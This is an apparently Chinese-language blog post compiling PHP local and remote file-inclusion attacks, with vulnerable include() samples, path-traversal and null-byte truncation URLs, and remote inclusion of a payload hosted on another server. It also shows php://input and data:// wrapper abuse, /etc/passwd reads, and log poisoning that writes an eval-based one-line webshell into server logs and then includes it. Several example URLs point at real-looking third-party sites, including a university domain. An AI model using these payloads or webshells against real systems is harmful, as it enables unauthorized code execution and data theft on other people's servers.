php包含那点事情

_Evil (尘俗当中有太多人 相识过爱不到)   |


有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络. 



关于PHP中LFI( Local File Include ,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过 

大家都懒得测试,我就来整理下. 

1.普通本地包含;  

<?php 
$query=$_GET['p']; 

include($query); 
?>



poc : http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php

../hanguo/test.php 为包含的路径. 

baohan1.jpg  

只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含 一句话木马 即可,这种方法很简单没什么可说的。 

2.截断本地包含  
require_once($a.'.php'); 


include($a.".php"); 

等等类似此包含的函数..



WINDOWS 下还有特别用处: 

\. 或者 ./ 或者 \ 或者 /截断  ( WINDOWS 都可以使用.) 

波波虎  


截断的原理  


Linux包含截断例子  (Linux  ./ / 可以.) 

%00 截断包含,有gpc=off和php版本限制 

poc : http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php%00


3.远程包含  

allow_url_include=On 就是 远程文件包含 了,为 off 那就只能 本地包含 了. 

测试case: 
<?php 
$query=$_GET['p']; 

include($query.".php"); 
?>



连接: http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt

爆错了: 

Warning: main(http://www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in 

/var/www/htdocs/explame.php on line 3



include($query.".php"); 代码的缘故,在后面加上了" .php ",导致 yeah.txt 变成了 yeah.txt.php

这里我们不需要截断啦,来个 360计之----将计就计

在www.axxer.com创建个 yeah.php 文件; 

然后http://www.xsser.com/explame.php?p=http://www.axxer.com/ yeah ,自动在后面加 

.php ;多么爱。。。。 


远程包含小连接  

我们还可以用php自带协议来利用: 

包含data:// 或者php://input 伪协议

这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。 

http://www.schnelltest24.de/index.php?page=/etc/passwd //这个没有截断,我们尝试下用协议看看. 

baohan2.jpg  

利用 协议 然后 POST发送利用代码 ,哈哈;多么有爱~~~~. 

4.日记包含高级利用  

Linux包含截断例子  

此连接已经透露出技巧了呢,连接思路简单说下: 

(1)访问带有一句话的错误连接( http://www.ujn.edu.cn/<%3fphp eval($_REQUEST[s]);%3f>xxxxxxxx... ),此连接将记录到error.log错误记录文件中. 


(2)找到包含漏洞的地方,包含到 error.log文件的路径 .然后在自定义 s参数 中输入我们恶意代码. ( http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././......... .) 


一先限制以及突破: 
类似http://www.exp.com/index<?php eval($_POST[cmd]);?>.php 
这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.


可以使用: 伪造没有Connection HTTP标头的请求包  

一点连接: 内容1  

内容2  


5.其他高级利用  

(1)包含/proc/self/environ环境变量: 
这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样

 

利用 (文章中第四点有详细介绍了.) 

(2) phpinfo临时文件爆破包含. //看情况而定,有的需要%00等特殊字符 截断 .上面介绍过了. 

(3)_SESSION爆破包含.   //看情况而定,有的需要%00等特殊字符 截断 .上面介绍过了. 

(2) (3)点介绍  

phpinfo爆破包含pdf
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值